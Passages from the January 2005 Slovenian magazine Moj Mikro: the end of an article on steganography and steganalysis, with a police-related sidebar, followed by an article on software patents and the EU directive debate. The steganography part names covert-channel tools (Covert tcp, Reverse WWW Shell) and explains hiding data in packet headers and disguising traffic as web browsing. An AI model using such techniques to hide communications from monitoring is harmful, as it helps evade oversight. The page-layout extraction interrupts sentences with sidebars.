komuniciranje (FTP,
forum ...)
Steganografija
Šifriranje

AKTUALNO
steganografija – skrivanje sporočil

V glavi IP-paketka lahko sporočilo skrijemo v polje
IP-indetifikacijska številka (IP identification number).
Skrivanje v zaglavjih paketkov. V ta namen
se lahko uporabljajo nekatera polja v zaglavjih
paketkov, ki bodisi niso v uporabi ali pa njihovo spreminjanje ne vpliva na prenos. V ta
namen se lahko uporabijo paketki protokolov
IP, TCP, UDP ali ICMP – največkrat prva dva.
Natančneje, pri IP-protokolu lahko uporabimo polje IP number, pri protokolu TCP pa
polji Sequence number in Acknowledment
number. Tudi za ta način obstaja program, in
sicer Covert tcp.
Zakrivanje podatkov. Ta način zahteva še
največ znanja. Ideja je zelo banalna. Neposredno povezavo med sogovornikoma oziroma
paketke podatkov, ki se pretakajo po omrežju,
zakrijemo tako, da se zdijo kot običajni omrežni
promet. Ena metoda naredi to tako, da ves promet deluje, kot da bi šlo za brskanje po spletu.
To metodo uporablja program Reverse WWW
Shell. Ima pa eno slabost: če resnično brskamo
po internetu, potem v smeri k nam priteka veliko podatkov in zanemarljivo malo v nasprotni smeri. Nadzor prometa in smer lahko poraja
sum, še zlasti če se zdi da brskamo, pa pošiljamo
več podatkov, kot jih sprejemamo.

STEGOANALIZA

Vsaka izboljšava metode ali orodja za skrivanje sporočil povzroči iskanje načina njene
zaznave. Stegoanaliza ni tako preprosta, kot
se morda zdi na prvi pogled. Njena naloga je
odkrivanje skritih sporočil v različnih medijih, sloni pa na statističnih analizah. Torej,

ali sporočilo obstaja ali ne. Osnovna
metoda je zgolj teoretična in v praksi
redko možna. Imeti moramo izvirno
datoteko in datoteko s skritim sporočilom. Nato primerjamo dolžine
datotek ali zaporedje posameznih
bitov. Razlike pokažejo, ali obstaja
skrito sporočilo ali ne. Ker pa velja
pravilo, da takoj ko sporočilo skrijemo, izvirno datoteko nepovratno
zbrišemo (tudi za to obstajajo orodja), je verjetnost takšnega primera
enaka ničli.
Če imamo opravka z slabše skritim sporočilo, je zaznava lažja. Če se
nam zdi, da določena slika ali zvok,
ni vedeti ali ne zveni tako, kot bi
pričakovali, je možno, da vsebuje
skrito sporočilo. Nadaljnji koraki so
odvisni od tipa datoteke ali od načina skrivanja sporočila. Če gre za
vrivanje, nas lahko zmoti dolžina datoteke, če
gre za zamenjavo, pa statistične analize palete barv (8 bitno grafika). Že samo dejstvo, da
nekdo pošilja nestisnjeno datoteko s 24- bitno
barvno globino lahko sproži sume. Te datoteke
so namreč prevelike, da bi jih običajno poši-

Dandanes tehnik šifriranja in
steganografije ne uporabljajo zgolj
negativci, kot so teroristične organizacije,
in državni organi, temveč svoje mesto
najdejo tudi v poslovnem svetu.
ljali prek spleta. Omenili smo že, da je skrita
sporočila v datotekah jpg izredno težko najti,
saj je teh datotek v spletu daleč največ. Pri že
omenjenem programu J-Steg je moč narediti
statistično analizo razporeditve stiskalnih koeficientov. Pri datotekah brez skritega sporočila
je razporeditev simetrična, skrito sporočilo pa
simetrijo pokvari. V praksi je to veliko težje
izvesti, kot se morda zdi na prvi pogled.
Stegoanaliza je uspešnejša za znane algoritme stiskanja in metode prenosa skritih sporočil. Veliko težje pa je, če gre za nekaj popolnoma novega. Teoretično lahko z določenimi
statističnimi analizami z večjo ali manjšo verjetnostjo zatrdimo, da je nekje skrito sporočilo
ali ni. Gre pa za dokaj zapletene analize.
Sodoben svet je tak, da se bo v prihodnjih
letih steganografija hitro razvijala, prav tako
pa tudi metode odkrivanja. Razvoj bo šel
predvsem v smeri razvoja novih algoritmov,
ki bodo odpornejši proti odkrivanju, in bodo

z našega gledišča

PRI NAS SE DA SKRIVATI?

Na policiji so nam zatrdili, da se s to
problematiko še niso srečali in da tudi ne
sledijo razvoju programskih orodij. Možni
sta dve razlagi: ali naši kriminalci in drugi
nepridripravi niso izobraženi s področja informacijskih tehnologij in steganografije ne
uporabljajo, ali pa jo, pa o tem nihče nič ne
ve. Sami močno dvomimo v slednje. Prepričani smo, da jo nekateri poznajo in jo tudi s
pridom izkoriščajo.
V zadnjem času je veliko govora o preprečevanju gospodarskega kriminala. Posamezniki, vpleteni vanj, pa so izobraženi,
in če jih doslej še niso, bodo tehnike skrivanja prav gotovo začeli uporabljati pri zakrivanju sledi o svojem početju. Če hoče
policija tudi tem stopiti na prste, bodo
morali steganografiji posvetiti več pozornosti in davkoplačevalskega denarja. Kajti
v nekaterih primerih je že zgolj sporočanje
med dvema osumljencema lahko dokaz, da
sta počela nekaj nedovoljenega. V teh primerih samo šifriranje sporočila ni dovolj.
Ko se bodo tega zavedli tudi »kriminalci«,
bodo začeli uporabljati steganografijo. Sem
ter tja tudi slišimo, da je policija kot dokazno gradivo zasegla osumljenčev računalnik in v njem iskala dokaze. Kaj pa, če je
osumljeni te skril v kakšno na prvi pogled
nesumljivo datoteko? In če je ta oseba še
osumljena za kiberkriminal? Če dokazov ne
najdeš, ti osumljenčev računalnik ne pomaga kaj prida.
Nismo pa vprašali Sove in vojske, kajti
tudi če slednji stagenografijo uporabljajo,
tega ne bi javno priznali. Dopuščamo tudi
možnost, da na iste karte igra tudi policija.
Torej, na glas povej, da nečesa ne poznaš,
in upaj, da bodo kriminalci temu tako ali
drugače verjeli ...
lahko skrili večjo količino podatkov. Druga
stran bo napenjala možgane v smeri razbijanja
algoritmov in zaznavanja skritih sporočil. Začaran krogi, kot smo ga vajeni že celo človeško
zgodovino. Edina razlika med rimskim vojskovodjo in sodobnim svetom je v tehnologiji
– načela pa so ostali ista. Pa še nekaj se dogaja.
Steganografije ne bodo uporabljali zgolj nepridipravi in vohunske organizacije, temveč bo
svoje mesto našla tudi v poslovnem svetu.



w w w.mojmikro.si
FORUM
NOVICE
ČLANKI
PREIZKUSILI SMO

ensko informacijsko
Več novic tako ali drugače povezanih s slov tni strani!
srenjo lahko najdete na naši sple

MOJ MIKRO 1 JANUAR 2005

23

KONKRETNO
patentiranje programske opreme

KDAJ LAHKO PATENT
ZAVRE RAZVOJ?
Patenti, kakršne poznamo danes, so se
začeli razvijati v srednjem veku. Tako
so Benetke ob zmanjševanju svojega
trgovskega vpliva ugotovile, da bi bilo
smotrno gospodarstvo spodbujati tudi
tako, da bi privabile izumitelje ...
Piše : Andraž Tori

Z

ato so jim zagotovili začasno ekskluzivno
pravico izdelovanja svojih inovativnih naprav. Prvi zakon o sodobnih patentih tako
datira v leto 1474, kmalu pa so podoben
prijem začeli uporabljati tudi v Angliji (1624) in
drugod.
Zanimivo je, da patentno varstvo ne izvira iz
kake neodtujljive posameznikove pravice do lastništva ideje, temveč ima korenine v koristi družbe
kot celote.
Obstaja kar nekaj ekonomskih teorij o tem,
kako patentni sistem pravzaprav deluje, a ta članek
je prekratek, da bi se vanje podrobneje poglabljali.
Navedimo le dva precej prepričljiva namena, ki
jih želi patentna zaščita doseči.
Prvi je spodbujanje inovativnosti z nagrajevanjem in s tem povečevanje učinkovitosti gospodarstva. Drugi pa je spodbujanje razširjanja znanja. Patentna prijava je namreč vse od odobritve
povsem javna in v njeno vsebino ima vpogled
vsakdo. Tako se lahko drugi inovatorji napajajo iz
dobro dokumentiranih preteklih inovacij (vsaj v
teoriji naj bi bilo tako).

PROGRAMSKI PATENTI

Problem s programskimi patenti se začne že kar
pri pojmu samem. Ni namreč enotne definicije,
kaj ta besedna zveza pomeni, kar lahko s pridom
izkoristi kak demagog na tej ali oni strani debate.
Ker je programski patent težko nedvoumno definirati in različnim ljudem pomeni različne stvari, za potrebe tega članka uporabimo definicijo, ki
jo ponuja Prosti spletni slovar računalništva: »Patent, ki omogoča preprečitev uporabe določene
programske tehnike drugim«. Seveda to ni nikakršna pravna definicija, temveč le pripomoček, ki
nam bo omogočal malce jasneje razmišljati o programskih patentih. V zgornjo definicijo bi tako
padel algoritem reševanja problema trgovskega
potnika v polinomskem času (znameniti računalniški problem, za katerega še vedno ni jasno, ali
je rešljiv) ali pa program za spletno storitev, kjer
nam izdelajo glasbeni CD po meri.
Oglejmo si, kakšne so specifične lastnosti proizvodnje programja, ki jo ločujejo od drugih inovacijskih področij. Program je navadno precej
obsežno avtorsko delo enega ali več avtorjev (ne

24

MOJ MIKRO 1 JANUAR 2005

PATENTIRANJE »TOPLE VODE«

Seveda pa se ta delež še poveča, če se izkaže, da
je neki banalen postopek patentiran (npr. prodaja
prek mobilnega telefona) in je ga treba licencirati
za uporabo. Veliko kritikov programskih patentov se opira ravno na ta vidik, ki naj bi pripeljal
mala in srednje velika podjetja v nezavidljiv položaj hoje po minskem polju patentov in jim otežkočal vstop na trg.
V ZDA zakonodaja omogoča programske patente (in sploh patentiranje vsakršnih idej, tudi
poslovnih metod). V Evropski uniji pa ta zaenkrat
ni enotna. Evropski patentni urad od uveljavitve
evropske patentne konvencije leta 1978 uporablja vse bolj raztegnjeno razlago člena 52, ki naj bi
zagotavljal patentiranje resničnih inovacij.
Izkušnje kažejo, da je moč »inventivni korak«
patenta ob spretni prijavi zaobiti in tako patentirati tudi samoumevne programske rešitve. Evropski patentni urad je zaradi tega doživel veliko
kritik, saj naj bi bil sistem naravnan tako, da je
njegovim uslužbencem izjemno nepraktično dokončno zavrniti patent, ki ga želi pridobiti vztrajno in pravno podkovano podjetje.

V ŽRELU PATENTNIH TOŽB

le programerjev). Ker program teče v virtualnem,
»idealnem« svetu, programerjem ni treba misliti na neskončno število fizikalnih zakonov, ki se
morajo ujeti, da bi njihov izdelek deloval. Med
sestavljanjem različnih delov programa jim ni
treba razmišljati o uporu žic, odbojih, obrabi ipd.,
s čimer morajo računati njihovi kolegi iz drugih
inženirskih strok. Ker je sestavljanje iz malih delov enostavno, to pomeni, da je v enakem času
moč narediti veliko obsežnejši izdelek. Programi
vsebujejo na tisoče rešitev malih trivialnih problemov, ki se prepletajo z rešitvami netrivialnih
problemov in tako (če imamo srečo) opravljajo
uporabniku koristno dejavnost.
Skratka, ker je interakcija med deli izdelka
enostavnejša kot v drugih inženirskih strokah, so
programski izdelki sestavljeni iz nekaj velikostnih razredov večjega števila »podizdelkov«, ki bi
jih bilo mogoče patentirati. Ravno veliko število problemov, ki so rešeni znotraj enega samega
progama, pa povzroči, da je treba za ugotovitev,
ali program krši katerega od obstoječih patentov,
porabiti razmeroma veliko časa in s tem denarja.
Ta se namesto za razvoj in inženirsko delo porabi
za pravne službe. Navadno zapletene tehnološke
naprave razvijajo močna podjetja, ki jim pravni
vidiki razvoja ne pomenijo velikih stroškov. Vprašanje pa je, ali je enako s programi. Programiranje
je zaenkrat še vedno posel, ki se ga lahko komercialno lotijo tudi majhne skupine (inženirjev), ki
jim pravni stroški preverjanja njihovega izdelka
lahko pomenijo nesorazmeren delež razvojne investicije (preverjanje vsake posamezne (pod)rešitve stane nekaj tisoč evrov).

Čeprav bi bilo določen patent na sodišču možno spodbijati, pa je že sama količina patentnih
tožb, ki bi jih lahko naperilo veliko uveljavljeno
podjetje proti drugemu, ki na določen trg šele
vstopa, močan razlog, da se preprosto ne splača
pravdati, saj bi bile lahko že posledice izgube ene
same tožbe velikanske.
Tudi če si malo podjetje lasti programski patent
(tipična cena za pridobitev evropskega patenta
je nekaj deset tisoč evrov), ki ga krši večje podjetje, je velika verjetnost, da bo to večje podjetje v programskih izdelkih malega podjetja našlo
veliko spornih programskih tehnologij, ki jih bo
izkoristilo za protitožbe. Tako so lahko mala podjetja v sporih glede programskih patentov uspešna
predvsem takrat, kadar nimajo lastnega izdelka.
Gre za pravne hiše, ki kupujejo patente le zato, da
bi lahko z njimi izsilile licenčnine, hkrati pa ne
opravljajo nadaljnjega razvoja.
Prav tako izkušnje kažejo, da se programske
patente izrablja predvsem v strateške namene
oviranja konkurence in ne v ustvarjanje trga
tehničnih inovacij, ki bi sicer bil zaželen učinek
patentnega sistema, saj bi povečeval konkurenčnost. Velike programske hiše svoje patente medsebojno križno licencirajo (cross licensing) in se
s tem zaščitijo pred tožbami, patente pa izrabljajo
proti manjšim tekmecem. Navadno tožbe niti
niso potrebne, zadostujejo že grožnje. Tak primer
se je zgodil v 80. letih takrat majhnemu podjetju
Sun Microsystems, ko je IBM-u le z grožnjami
uspelo od njega izsiliti denar.
Vendar pa grožnje programskih patentov ne
prepoznavajo le prosti programerji, temveč tudi
druge osebnosti iz sveta programske opreme. Leta
1991 Bill Gates v internem sporočilu uslužbencem o programskih patentih zapisal: »Če bi ljudje
razumeli, kako so bili patenti podeljevani, ko je
bila izumljena večina današnjih idej, in bi izločili te patente, bi bila industrija danes povsem
ohromljena.«

KONKRETNO
patentiranje programske opreme
In je nadalje iskal način, kako naj se Microsoft
izogne patentnim tožbam: »Rešitev je izmenjava
patentov z velikimi podjetji in patentiranje v tolikšni meri, kot le moremo.«
Pred nekaj leti se je proti patentni zaščiti programja opredelil tudi Oracle in povedal, da je njihov portfelj patentov le nujno zlo, da se zaščitijo
pred možnimi grožnjami. Oracle je od tedaj izjavo
umaknil, Microsoft pa se za patentno zaščito programja zavzema vse bolj, saj ga vidi kot ključno
orožje proti konkurenci prostega programja.

in nekaj let je trajalo, preden jim je
uspelo izpiliti alternativni algoritem,
ki pisave kolikor toliko dobro gladi
brez uporabe namigov.
Enak vpliv imajo programski patenti tudi na komunikacijske protokole. Če nekomu uspe v protokol
vplesti svoj patent, bodo morali vsi
proizvajalci strojne in programske
opreme, ki ta protokol uporabljajo,
pridobiti licenco za uporabo patenta. Zato nekatera telesa, ki skrbijo za
standardizacijo protokolov v internetu, ne dovoljujejo vanje vključevanja
patentiranih tehnologij ali pa to dovoljujejo le pod posebnimi pogoji.
Najbolj znan primer v zadnjem času
je Microsoft, ki je ob nastajanju protokola za preprečevanje neželene pošte
predlagal vključitev svoje tehnologije
Sender ID. Ker nad tehnologijo drži
oziroma poskuša pridobiti patente in jih
ni pripravljen predati v prosto rabo, je
telo za standardizacijo IETF (Internet
Engineering Task Force) njegov predlog zaenkrat zavrnilo. Jasno je le, da
bomo v primeru, da kompromisa ne

PATENT NA KLIK

Verjetno daleč najodmevnejši programski patent v stroki je »Nakup z enim klikom« (ZDA,
številka patenta 5,960,411 1]), ki ga je spletna
knjigarna Amazon vložila leta 1997. Za zapletenim pravniškim jezikom se skriva preprosta uporaba brskalnega piškotka, ki strežniku omogoči
vnaprejšnjo seznanitev z vsemi podatki o kupcu in
zato lahko ta pozneje z enim samim klikom kupi izdelek. Vsak spletni programer bi idejo komentiral
kot nekaj samoumevnega, a patentni urad ZDA
je idejo sprejel kot »patentabilno«. Po odobritvi
patenta je leta 1999 Amazon vložil tožbo proti
konkurenčni spletni knjigarni Barnesandnoble.
com (knjigarniškega velikana Barnes and Noble).
Tožba je navrgla val protestov in bojkotov knjigarne Amazon, predvsem pa je pokazala na nekatere probleme koncepta programskih patentov.
Drugi odmevni spor glede programskih patentov je lanskoletna tožba podjetja Eolas proti
Microsoftu zaradi uporabe tehnologije vtičnikov
v spletnem brskalniku. Zanimivo je, da je to ena
redkih bitk, v kateri na isti strani stojijo tako
Microsoft kot večina programerjev prostih programov.
Microsoft je sicer našel predhodno tehnologijo v obliki brskalnika ViolaWWW , ki bi patent
lahko naredila neveljaven, vendar je to prepozno
posredoval sodišču. Bolj kot to, ali bo moral Microsoft plačati Eolasu dobre pol milijarde ameriških dolarjev, pa bo izid spora pomemben za druge
lastnike dvomljivih programskih patentov. Ti bi
se lahko nad idejo donosnih tožb vsepovprek hitro navdušili.

NEVARNOSTI MONOPOLOV NA VSAKEM
KORAKU

Druge programske tehnologije, ki so ponekod
patentno zaščitene, so format zapisa ASF, postopek stiskanja zvoka v datoteke MP3, elektronski
nakupovalni voziček in podobne bolj ali manj
inventivne tehnologije. Kaj točno so programski
patenti, je najenostavneje povedati za področje
spletnega programiranja, saj se s tem ukvarja
precej tako amaterskih kot profesionalnih programerjev. Ena od organizacij, ki se bojuje proti
programskim patentom, je sestavila seznam dvajsetih, ki jih je podelil evropski patentni urad, a
so za večino programerjev trivialni. Ilustrirane jih
lahko najdete na strani http://webshop.ffii.org.
Programski patenti pa imajo še eno možnost
uporabe. Če lahko podjetje patentira algoritem,
ki je nujno potreben za branje ali pisanje v določen datotečni format, potem to pomeni, da si
je pridobilo legalen monopol do branja ali pisa-

Velike programske
hiše svoje patente
medsebojno križno
licencirajo in se s
tem zaščitijo pred
tožbami, patente
pa izrabljajo
proti manjšim
tekmecem.

nja teh vrst datotek. S tem lahko stari igralci na
trgu popolnoma zaprejo pot novim konkurentom.
Predstavljajte si, da bi Microsoft pred leti tako
posredno patentiral zapis datotek .doc. Potem nobeno podjetje ne bi moglo oziroma smelo izdelati
pisarniškega paketa, ki bi bil združljiv z Microsoftovim Officeom. Seveda bi bil vsak pisarniški paket, ki ne bi znal vsaj brati datotek .doc, obsojen
na propad.
No, k sreči Microsoft takšnih taktik ni uporabil, zato lahko danes brez pravne negotovosti
poganjamo pisarniški paket OpenOffice in podobne. So jih pa uporabili drugi. Pred časom glajene
pisave TrueType v sistemu Linux niso bile videti
enako kot drugod. Za izrisovanje teh pisav na zaslon je skrbela knjižnjica FreeType. A pravniki
podjetja Apple so programerjem paketa FreeType
poslali opozorilo, da si Apple lasti več patentov
nad interpretacijo namigov za lepše izrisovanje
pisav TrueType. Programerji so ustrezno programsko kodo umaknili iz uradnih različic knjižnice

bo, imeli v boju proti neželeni pošti na voljo eno
orožje manj.

»Podmorniški« patenti
Še bolj pa so lahko nevarni tako imenovani podmorniški patenti. To so patenti,
ki jih podjetja, sicer niso sodelovala pri
pripravi nekega protokola ali zapisa podatkov, začnejo uveljavljati šele po njegovem
splošnem sprejetju in prehodu v uporabo.
Takšen primer v zgodovini je bil zapis slik
GIF, trenutno pa se podobna usoda obeta
standardu JPEG.
In če je treba programske patente s strani zakonodaje obravnavati previdneje, kaj je sploh mogoče storiti? V ZDA ne prav veliko, v Evropi pa
je položaj glede tega še nejasen, jasno je le, da se
bo moral izkristalizirati v bližnji prihodnosti. Ker
smo od prvega maja tudi mi del Evropske unije
MOJ MIKRO 1 JANUAR 2005

25

KONKRETNO
patentiranje programske opreme
bo odločitev, sprejeta
v Bruslju, vplivala tudi
na naša podjetja, samostojne razvijalce in
nazadnje na vse uporabnike informacijskih
rešitev.

EVROPSKA DIREKTIVA

Kot smo že povedali, so patentni sistemi med
državami sicer podobni, a se v marsikateri podrobnosti tudi razlikujejo. Eno od področij precejšnjih razlik je možnost patentiranja programskih
in poslovnih metod, ki jih ZDA dopuščajo, večina evropskih držav pa ne. Vendar so razlike tudi
med evropskimi državami, zato se je pojavila potreba po poenotenju oziroma strokovno rečeno
harmonizaciji zakonodaj. Skupni trg pač zahteva
enotna pravila.
Tako zagovorniki kot nasprotniki možnosti patentiranja programskih metod se strinjajo, da je
direktiva nujno potrebna. Poleg patentnih uradov posameznih držav je tu še Evropski patenti
urad, ki uporablja precej raztegnjeno tolmačenje
patentne konvencije.
Evropski patentni urad naj bi tako po nekaterih
podatkih podelil že čez 30.000 patentov, ki bi jih
lahko imenovali programski patenti. Protagonisti programskih patentov želijo obstoječe z novo
direktivo potrditi, hkrati pa omogočiti nastanek
novih, medtem ko želijo nasprotniki preprečiti
uveljavljanje teh patentov in podeljevanje podobnih, ali pa vsaj močno dvigniti raven potrebne
inovacije za pridobitev novih in postaviti druge
omejitve.
Položaj je mogoče urediti z evropsko direktivo. To mora nato vsaka posamezna država članica
vpeljati v lastno zakonodajo. Čeprav Evropski
patentni urad ni neposredno vezan na direktive,
pa bi njena vsebina prej ali slej prešla tudi v Evropsko patentno konvencijo in tako bi dobili na
vseh ravneh enoten patentni sistem.
Vprašanje je le, kakšno direktivo sprejeti. Sprejem direktive poteka po načelu soodločanja med
Evropskim parlamentom, Svetom evropske unije
in Evropsko komisijo. Ker je proces odločanja zapleten, marsikomu ni povsem jasno, kaj se z direktivo dogaja. Čeprav se je na področju programskih
patentov veliko zgodilo že pred predlogom nove
direktive, bom tu poskušal okvirno opisati le njeno kratko, a burno življenjsko zgodbo, seveda precej poenostavljeno.

Sporna že ob rojstvu

Direktivo »o patentabilnosti računalniško izvedenih izumov« je 20. februarja 2002 predlagala
Evropska komisija. Že kmalu po njeni objavi je
Fundacija za prosto informacijsko infrastrukturo (FFII) ugotovila, da se deklarirani namen direktive in njena vsebina ne ujemata. Zagovorniki
so v javnosti trdili, da končni izid ne bo enaka patentna norija kot v ZDA, vendar je FFII ugotovil,
da bo direktiva povzročila natančno enako stanje
− neomejeno »patentabilnost«.

26

MOJ MIKRO 1 JANUAR 2005

Vojna lobijev

Začne se vojna lobijev. Na eni strani stojijo velike multinacionalke (predvsem njihovi pravniki),
patentni uradi (predvsem evropski in VB) in pritisk ZDA, na drugi strani srednja in mala podjetja
(SME), prosti programerji, veliko akademikov in
večina preostale zainteresirane javnost.
FFII-ju kljub siceršnji politični neizkušenosti
svojega interesnega kroga, skupaj s sorodnimi organizacijami uspe organizirati presenetljivo uspešno
politično kampanjo. Posegajo se vseh mogočih
poti pritiska, da bi na eni strani opozorili čim širšo
javnost in na drugi mirno prepričali politike, naj
spremenijo direktivo.
Naštejmo nekaj odmevnejših in zanimivejših
prijemov. Uspe jim zbrati čez 300.000 podpisov
spletne peticije proti programskim patentom, ki
jo sponzorira več kot 200 podjetij in organizacij,
njihov »poziv k akciji« podpiše kar nekaj članov
evropskega in drugih parlamentov, s svojimi predstavniki v Bruslju lobirajo neposredno pri evropskih parlamentarcih, organizirajo poulične demonstracije v Bruslju, kjer se zbere okoli 500 ljudi
(kar je za apolitično računalniško kulturo dotlej
nepredstavljiva številka), hkrati pa delujejo tudi
na lokalni ravni, kjer s področnimi ali sodelujočimi organizacijami poskušajo problem programskih
patentov predstaviti v specifičnih okoljih.
Bitka je na obeh straneh umazana, FFII na svojih spletnih straneh dobesedno raztrga in prežveči
vsak izrečeni stavek podpornikov programskih
patentov, na drugi strani pa se začno protagonisti
zavedati, da se bodo morali za svoj cilj bolj potruditi, a se navadno raje obračajo neposredno na
politiko, zato je večina njihovega lobiranja precej
skrita. Vezi so očitno tesne. Posredni indici (zapisi v datoteki .doc) kažejo, da naj bi bil Francisco
Mingorance, lobist organizacije BSA (kjer prevladujejo programska podjetja iz ZDA), eden od
piscev izvornega predloga direktive oziroma ga je
imel in spreminjal v svojem računalniku, preden
je postal javen.
24. septembra 2003 Evropski parlament na
plenarnem zasedanju v prvem branju sprejme
direktivo, a jo izdatno dopolni z amandmaji. In
sicer do te mere, da ji popolnoma obrne pomen
in programski patenti so v novem predlogu jasno
omejeni in zamejeni.
A nato je bil na vrsti Svet Evropske unije, ki
bi moral upoštevati pripombe parlamenta in pripraviti nov usklajen predlog. Vse lobiranje se začne znova, a tokrat zmaga patentni lobi, ki ima
več zaveznikov v izvršnih vejah oblasti. Svet na
različne načine zavrže praktično vse vsebinske pripombe parlamenta in upošteva nekaj nebistvenih.
Tako amandma, ki pravi, da lastnik patenta z njim
ne bi mogel preprečevati skupne uporabnosti oz.
interoperabilnosti (na primer odpiranje datotek
določene vrste), zavrže zaradi neskladnosti s sporazumom svetovne trgovinske organizacije o intelektualni lastnini (TRIPS). Nemčija nato v Svetu
predlaga amandma, ki bi omejil možnost patentiranja programja, in ker je bil v tem trenutku to
najboljši predlog, ga podprejo še nekatere druge
države, vključno s Slovenijo. A Nemčija tik pred
zdajci pristane na to, da celoten odstavek zamenja
z eno samo besedo, s tem pa za sabo potegne tudi

druge države, ki so podpirale izvorni amandma.
Po mnenju protipatentnega lobija tako nastane
najradikalnejši predlog direktive doslej. Vrata za
neomejeno patentiranje so odprta.
A, ker je šlo le za nekakšno predglasovanje, se
dogajanje v Svetu še ne konča. Kmalu zatem nizozemski parlament sprejme navodilo ministru za
gospodarstvo, da mora svoj glas z »za« spremeniti
v »vzdržan«. Zanimivo je, da gre sploh za prvi tak
primer v Evropski uniji. Zaenkrat še ni jasno, ali
bo navodilo tudi dejansko upoštevano.

Pomembna premika

S prvim novembrom je v Svetu začela veljati
nova obtežitev glasov posameznih držav. Poljska
dobi večjo težo in se 17. novembra letos odloči
umakniti svojo podporo direktivi. To pa pomeni,
da ni več večinske podpore in direktivo je treba
znova uskladiti znotraj Sveta.
Zanimivo je, da je Poljska problem vzela resno,
organizirala posvet na državni ravni in se šele po
njem odločila. Posvetovali so se s svojim patentnim uradom, s pravniki velikih programskih hiš
in z ostalo zainteresirano javnostjo. Prišli so tudi
do konsenza, da trenutni predlog direktive nedvomno pomeni, da bo možno vse programje pa-

Patentno varstvo ne izvira iz kake
neodtujljive posameznikove pravice do
lastništva ideje, temveč ima korenine v
koristi družbe kot celote.
tentirati. Trdijo, da so pripravljeni podpreti jasne
omejitve pri programskih patentih, vendar da tega
v trenutni direktivi ni.
Drug pomemben dogodek je objava študije
hiše PriceWaterhouseCoopers, ki jo je naročilo
nizozemsko predsedstvo EU. Ta je poskušala preučiti, kaj narediti glede evropske informacijske in
telekomunikacijske industrije glede uresničevanja
lizbonske strategije − do leta 2010 postati najbolj dinamično in konkurenčno gospodarstvo na
svetu. Študija na 52 strani ugotavlja, da bi lahko
programski patenti, ki ščitijo tudi izume netehnične narave, zatrli visoko stopnjo inovativnosti.
Poudarja, da se velika podjetja sicer zavzemajo za
programske patente, in da so mala podjetja proti, vendar pa so le redka dejansko pripravljena na
možne posledice direktive.
Preden pa preidemo na dogajanje v Sloveniji,
si na hitro poglejmo še nadaljnjo usodo direktive.
Verjetno bo Svetu vendarle uspelo sprejeti usklajen predlog in ta bo šel v drugo branje v Evropski
parlament. Če ta v treh mesecih (z možnostjo podaljšanja) ne sprejme odločitve, se direktiva uveljavi. Parlament lahko usklajen predlog zavrne in
tako konča postopek soodločanja, ali pa ga zopet
dopolni z amandmaji, vendar oboje le z absolutno
večino. V slednjem primeru gre direktiva še v dodaten postopek usklajevanja med parlamentom in
Svetom, in če je to uspešno, še v tretje parlamentarno branje. Zapleteno, skratka.

IN SLOVENIJA?

Na koncu se seveda vprašamo, kaj pa mi? Smo
članica Evropske unije in imamo pravico do gla-

KONKRETNO
sovanja v Svetu, svoje poslance v Parlamentu in
komisarja, ki pokriva področje, ki se še kako dotika patentov, na drugi strani pa bo direktiva za nas
obvezujoča in bo vplivala tudi na naša podjetja in
na nas kot posameznike.
Pričakovali bi, da se bodo prva zganila tista slovenska podjetja, ki so sama proizvajalci programja
in se glede direktive opredelila tako ali drugače,
saj imajo zagotovo največ neposrednega poslovnega interesa. A prva se je zganila skupnost prostih
programerjev z društvom uporabnikov Linuxa na
čelu. Z javnim pismom so se obrnili na več odgovornih ustanov, med drugim na Urad za intelektualno lastnino, ministrstvo za informacijsko družbo,
ministrstvo za gospodarstvo in na podjetja.

Oblasti brez posvetov in študij

Neposredno se je odzval le MID, ki je šele tedaj
ugotovil, da ni bil vključen v dotedanje oblikovanje uradnega slovenskega stališča do direktive. To
je bilo v rokah ministrstva za gospodarstvo oziroma
najbolj Urada za intelektualno lastnino. Slednji
pa vsaj takrat ni imel ravno bleščečih odlik iz komuniciranja z javnostjo in javnim oblikovanjem
stališč, zavzel je pač enako mnenje kot Evropski
patentni urad − da bo direktiva koristna zaradi
harmonizacije in da se patentiranje programja z
njo omejuje.
Izkazalo se je, da nobena ustanova oblasti ni naredila niti javnega posveta, kaj šele študije o tem,
kako bi takšna ali drugačna končna oblika direktive lahko vplivala na gospodarstvo, predvsem pa
seveda na sektor proizvajalcev programja.
No, ministrstvo za informacijsko družbo je takrat, pod pritiskom javnosti in medijev, vendarle
nekoliko popravilo uradno stališče Slovenije. Ta
je ujela še zadnji vlak in podprla že obstoječe predloge za izboljšavo direktive znotraj Ministrskega
sveta. Vendar kot smo že povedali, je Nemčija države, ki so podpirale njen predlog, izigrala s spremembo svojega amandmaja v zadnjem trenutku.
A vrnimo se v Slovenijo. Urad za Intelektualno lastnino je pred kratkim dobil novo direktorico in kaže, da se bo bolj odprl javnosti. Tako
je 3. novembra na spletnih straneh objavil prvo
številko svojih novic, v katerih komentira tudi direktivo in v svoji razlagi pravi, da ta ne bo omogočala neomejene patentabilnosti. To pa je datum še
pred objavo novega poljskega mnenja in še pred
drugim zanimivim domačim dogodkom.

KODA.SI proti programskim patentom, GZS za

19. novembra je pri Gospodarski zbornici Slovenije potekal posvet o predlagani direktivi patentnega varstva programske opreme. Pripravila
ga je sekcija slovenskih proizvajalcev programske opreme KODA.SI. Tam je Klemen Tičar iz
bivšega ministrstva za informacijsko družbo prvič
predstavil simulacijo, kako bi bil trenutni predlog
direktive, vpeljan v slovenski zakon o industrijski
lastnini. Prevedeno in prilagojeno besedilo je pokazalo, da imajo tisti, ki so mnenja, da direktiva
ne prinaša omejitev glede patentiranja, verjetno
prav. Izkazalo se je namreč, da direktiva vsebuje
pogojne stavke, ki naj bi omejevali patentiranje
programov, ki pa so za programe vedno resnični
in tako ne omejujejo ničesar.

Izkušnje kažejo, da je moč »inventivni
korak« patenta ob spretni prijavi zaobiti
in tako patentirati tudi samoumevne
programske rešitve ter potencialno
doseči nevarne monopole.
Posvetu je prisostvovalo sicer majhno število
predstavnikov podjetij, a prisotni so se strinjali z
omejeno razlago direktive. Večina se jih je prav
tako ostro opredelila proti programskim patentom
(a ne vsi). Tik pred koncem pisanja tega članka
je v javnost prišlo tudi uradno stališče sekcije
slovenskih proizvajalcev programske opreme
pri GZS-ju, ki se je uradno opredelila proti programskim patentom in za spremembo predloga
direktive.
Po drugi strani pa je zanimivo, da se Gospodarska zbornica Slovenije poimensko pojavlja
na strani podpornikov programskih patentov. Po
poizvedovanju je bilo ugotovljeno, da je tam navedena, ker je članica združenja EICTA, v katerem je na tem področju nekaj največjih podjetij
preglasovalo manjša in s tem postavilo združenje
na stran zagovornikov programskih patentov. Če
si član večjega združenja, se to seveda lahko zgodi,
vprašanje pa je, zakaj je naša zbornica eksplicitno
